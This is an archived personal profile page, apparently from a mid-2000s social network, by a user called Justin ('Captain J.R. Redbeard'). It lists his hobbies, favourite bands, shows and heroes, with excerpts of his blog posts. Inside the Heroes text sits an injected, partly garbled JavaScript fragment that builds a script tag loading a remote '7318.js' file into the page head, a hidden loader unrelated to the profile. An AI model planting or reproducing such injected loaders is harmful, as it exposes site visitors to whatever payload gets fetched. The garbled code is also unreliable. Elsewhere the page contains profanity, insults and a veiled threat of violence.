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Captain J.R. Redbeard

A rich person is not one who has the most, but is one who needs the least.

About Me

My name is Justin, and unless I like you, you shall refer to me as such. I'm an Irishman and proud of it, if you couldn't tell. I'm half Mexican as well, even though I look nothing of the sort. I'm a nice guy and I'm pleasent to be around. I love to have fun. And like any true Irishman, I love to drink and I love to laugh. My friends will vouch for me there. I love goin froading in my 94' 4x4 yota with my buddies. Looks like I'll become and EC desert rat after all. :p I have been kicked around by plenty of girls in my life, but I think I have finally found the girl of my dreams. Sabrina I'm so glad you are in my life. My friends, family and my girlfriend mean more to me than anything, so if you hurt them it might be the last thing you do. My best friend is Sam, whom I have known for 10+ years. You piss one of us off and trust me you will have the other to deal with as well. So do me and yourself a favor... Don't. I've been pushed over the edge to pure rage once in my life, and even though it felt great, I'd rather not do it again. Well i guess that's it. If there's anything else you would like to know, just ask.

My Interests

things that tickle my fancy are football (BOLT PRIDE!), video games, food, sleep, movies, muscle cars, toyota pre-runners. But the thing I care about the most is my amazing girlfriend, Sabrina. I love you so much sweetheart.

I'd like to meet:

Everyone from all the bands on my music section, every member of the cast of Prison Break. All of the San Diego Super Chargers, and the Charger Girls. Keifer Sutherland, Sean Connery, Jason Statham, Denzel Washington, Christian Bale, Wesley Snipes, Vin Deisel, The Rock, Anthony Hopkins, Hugh Jackman, Jim Carrey, Mike Myers, Robin Williams, Adam Sandler, Elisha Cuthbert, Jessica Alba, Angelina Jolie, KATE BECKINSALE. Also George W Bush, Everyone on Mt. Rushmore, Ronald Reagan, J.K. Rowling, J.R.R. Tolkien, St. Patrick. And of course God, but not for awhile...lol.

Music:

Ok this is gonna be a long ass list...3 Doors Down, 50 Cent, AC/DC, Alice in Chains, Avenged Sevenfold, Bad Religion, Beach Boys, Blink 182, Breaking Benjamin, Garth Brooks, John Cena, Chingy, DISTURBED, Drowning Pool, Eminem, EVANESCENCE, Everclear, GODSMACK, Green Day, Jimmy Eat World, Korpiklani, Linkin Park, Ludacris, Lynyrd Skynyrd, Maroon 5, METALLICA, Motley Crue, Nelly, Nickelback, Offspring, Ozzy Osbourne, Papa Roach, POD, Elvis Presley, RAMMSTEIN, Red Hot Chili Peppers, Saliva, SANTANA, Slipknot, Steve Miller Band, System of a Down, Tenacious D, Three Days Grace, Trapt, Usher, Van Halen, Weird Al, Yellowcard, Rob Zombie, ZZ Top. There is probably way more... I will keep adding to this list.

Television:

My favorites include: Prison Break, 24, Whose Line is it Anyway?, House, That 70's Show, and last but not least... FAMILY GUY!

Books:

LOTR, Harry Potter and Ender's Game.

Heroes:

GOD, the one true teacher of what is right and wrong. My mother and father, for raising me right and turning me into a nice respectful young man and not a stupid abusive jackass like most guys my age. And last, but not least. All of you, who I can call my true friends. You have always been there for me when I needed you. My life would be empty without you. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

Bloody Mental

I do not believe in mental disorders.... Now if you have something like a parasite eating away at a part of your brain or a deformed temporal lobe... that's different. That's a neurological disorder t...
Posted by Captain J.R. Redbeard on Wed, 25 Apr 2007 12:32:00 PST

So yeah...

I pretty much had the sweetest dream ever last night... I hate very few ppl in this world, but one of them was in this dream. I dreamt that I got into a fight with this guy in an Irish pub... which is...
Posted by Captain J.R. Redbeard on Mon, 05 Feb 2007 10:29:00 PST

Kottonmouth Kings

What the fuck is this bullshit? All I hear about is the KK concert. Do people actually listen to this shit? A bunch of white pussy stoners get together, talk into a microphone, put a beat behind it an...
Posted by Captain J.R. Redbeard on Wed, 24 Jan 2007 10:29:00 PST

My brother

For me Christmas is the time for giving. I get more pleasure out of making other people happy than I do from getting things for myself. Unfortunately this year I have nothing to give. I thought for su...
Posted by Captain J.R. Redbeard on Mon, 25 Dec 2006 12:23:00 PST

My advice...

I gave this advice to a friend the other day. I now share it with everyone who loses their faith in people. People can be cruel, manipulative bastards, but they can also be kind and compassionate. Peo...
Posted by Captain J.R. Redbeard on Tue, 19 Dec 2006 02:18:00 PST

I hate...

Dumb fucking teenagers that hate President Bush for no fucking reason whatsoever. I hate all the disrespectful peices of shit that do not call the president by his title. What all you fuckers need to ...
Posted by Captain J.R. Redbeard on Wed, 26 Jul 2006 10:07:00 PST

God's Greatest Creation

OK, so I'm service writing at work today, which means im the one who deals with the customers and writes them up for oil changes or tires. I finish up with and elderly woman and I turn around to help ...
Posted by Captain J.R. Redbeard on Wed, 07 Jun 2006 10:09:00 PST

Kinda Weird

Ok so I usually don't believe in horoscopes and things like this, but wow almost everything in this one is true for me... freaky -----------------MAY-----------------Stubborn and hard-hearted. Strong...
Posted by Captain J.R. Redbeard on Mon, 03 Apr 2006 11:12:00 PST

Military Man

This was the only chain letter I ever read that was worth passing along... The average age of the military man is 19 years. He is a short haired, tight-muscled guy who, under normal circumstances is ...
Posted by Captain J.R. Redbeard on Mon, 13 Mar 2006 10:51:00 PST

Finally

Ok the site is now officially up... Check out the kick ass Halo 2 vids! You will need to register inthe forum, but it only takes a sec. My name there is the same as my gamertag (Dartanius). Here is th...
Posted by Captain J.R. Redbeard on Thu, 13 Oct 2005 03:32:00 PST